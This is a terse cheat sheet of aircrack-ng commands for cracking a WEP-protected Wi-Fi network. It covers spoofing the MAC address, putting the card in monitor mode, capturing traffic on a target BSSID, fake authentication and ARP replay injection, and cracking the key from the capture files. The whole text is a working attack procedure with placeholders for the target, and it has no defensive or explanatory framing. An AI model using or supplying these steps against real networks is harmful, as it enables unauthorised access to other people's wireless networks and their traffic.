(Don't forget to disable network manager) airmon-ng -list of cards airmon-ng stop wlan0 ifconfig wlan0 down macchanger --mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 airodump-ng mon0 - once network is found you can kill it. airodump-ng -c (channel #) -w (output file) --bssid (bssid) mon0 *new shell aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (name of net) mon0 aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 mon0 *new shell aircrackng -n 64 -b (bssid) *.cap